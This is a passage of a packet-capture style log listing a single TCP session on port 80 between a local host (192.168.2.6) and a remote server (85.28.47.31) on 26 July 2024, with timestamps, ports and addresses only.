Jul 26, 2024 13:49:25.385287046 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.385297060 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.385303020 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.385303020 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.385303020 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.385308027 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.385391951 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.385391951 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.385832071 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.385843039 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.385853052 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.385863066 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.385874033 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.385885000 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.385895014 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.385905027 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.385915041 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.385926008 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.385931969 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.385937929 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.385948896 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.386264086 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.386493921 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.386503935 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.386513948 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.386523962 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.386534929 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.386543989 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.386554956 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.386564970 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.386574984 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.386584997 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.386594057 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.386604071 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.386794090 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.386811972 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.387160063 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.387171984 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.387182951 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.387192965 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.387202978 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.387234926 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.387244940 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.387254953 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.387265921 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.387274981 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.387285948 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.387295961 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.387305975 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.387310028 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.387310028 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.387316942 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.387326956 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.387327909 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.387337923 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.387398958 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.387398958 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.387398958 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.388107061 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.388118029 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.388128996 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.388139963 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.388149977 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.388160944 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.388175964 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.388185978 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.388190985 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.388210058 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.388227940 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.388237953 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.388247967 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.388257980 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.388268948 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.388278961 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.388510942 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.389000893 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.389012098 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.389023066 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.389034986 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.389044046 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.389096022 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.389096022 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.470381975 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.470434904 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.470448017 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.470590115 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.470590115 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.470777988 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.470789909 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.470801115 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.470894098 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.470894098 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.470963955 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.470977068 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.470983028 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.471026897 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.471039057 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.471050978 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.471061945 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.471071959 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.471086025 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.471092939 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.471507072 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.472209930 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.472219944 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.472230911 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.472275972 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.472280979 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.472286940 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.472299099 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.472300053 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.472309113 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.472320080 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.472443104 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.472515106 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.472747087 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.472758055 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.472767115 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.472778082 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.472789049 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.472799063 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.472809076 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.472820997 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.472820997 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.472918034 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.473186970 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.473198891 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.473208904 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.473220110 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.473368883 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.473653078 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.473664999 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.473675966 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.473906040 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.473937988 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.473972082 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.473983049 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.474096060 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.474106073 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.474117041 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.474165916 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.474189997 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.474222898 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.474234104 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.474694014 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.474716902 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.474728107 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.474742889 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.474793911 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.474863052 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.474868059 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.474873066 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.474970102 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.474991083 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.475056887 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.475068092 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.475075960 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.475079060 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.475090027 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.475100994 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.475325108 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.475394011 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.475404024 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.475656986 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.475898027 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.475943089 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.475971937 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.475975990 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.476066113 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.476075888 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.476178885 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.476190090 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.476197004 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.476224899 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.476233006 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.476655960 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.476715088 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.476725101 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.476754904 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.476816893 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.476830959 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.476840973 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.476851940 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.476963997 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.476995945 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.476995945 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.478614092 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.478636026 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.478641033 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.478687048 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.478688955 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.478688955 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.478698015 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.478708029 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.478867054 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.478884935 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.478894949 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.478907108 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.478993893 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.479003906 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.479325056 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.479336023 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.479346991 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.479362011 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.479362011 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.479415894 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.479424000 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.479434967 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.479506969 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.479516983 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.479527950 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.479537964 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.479564905 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.479564905 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.479564905 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.479686022 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.480597019 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.480648041 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.480659008 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.480982065 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.480992079 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.481003046 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.481014013 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.481024981 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.481035948 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.481046915 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.481235981 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.481245995 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.481256962 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.481266975 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.481276989 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.481287956 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.481298923 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.481308937 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.481491089 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.481503010 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.483489990 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.483489990 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.483551025 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.557914972 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.557930946 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.557956934 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.557982922 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.557982922 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.558074951 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.558085918 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.558098078 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.558388948 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.558398962 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.558408976 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.558419943 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.558430910 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.558542013 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.558542967 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.558671951 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.558681965 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.558692932 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.558701992 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.558795929 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.559863091 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.559874058 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.559884071 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.559884071 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.560029984 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.560049057 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.560049057 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.560051918 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.560064077 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.560086966 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.560215950 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.560220003 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.560226917 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.560236931 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.560287952 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.560287952 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.560456038 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.560470104 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.560487986 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.560498953 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.560508013 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.560511112 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.560641050 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.560652018 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.560663939 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.560674906 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.560684919 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.560686111 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.560745001 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.560756922 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.560983896 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.560983896 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.561216116 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.561254025 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.561264038 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.561336994 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.561480045 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.561491013 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.561501980 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.561512947 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.562041044 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.562060118 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.562069893 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.562091112 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.562091112 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.562592983 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.615128040 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.620086908 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.792319059 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.792360067 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.792397976 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.792417049 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.792417049 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.792444944 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.792478085 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.792526960 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.792576075 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.792608023 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.792639971 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.792670965 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.792701960 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.792732954 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.792764902 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.792795897 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.792834997 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.792872906 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.792905092 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.792937040 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.792968035 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.792999029 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.793030024 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.793051958 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.793061018 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.793092966 CEST	80	59020	85.28.47.31	192.168.2.6
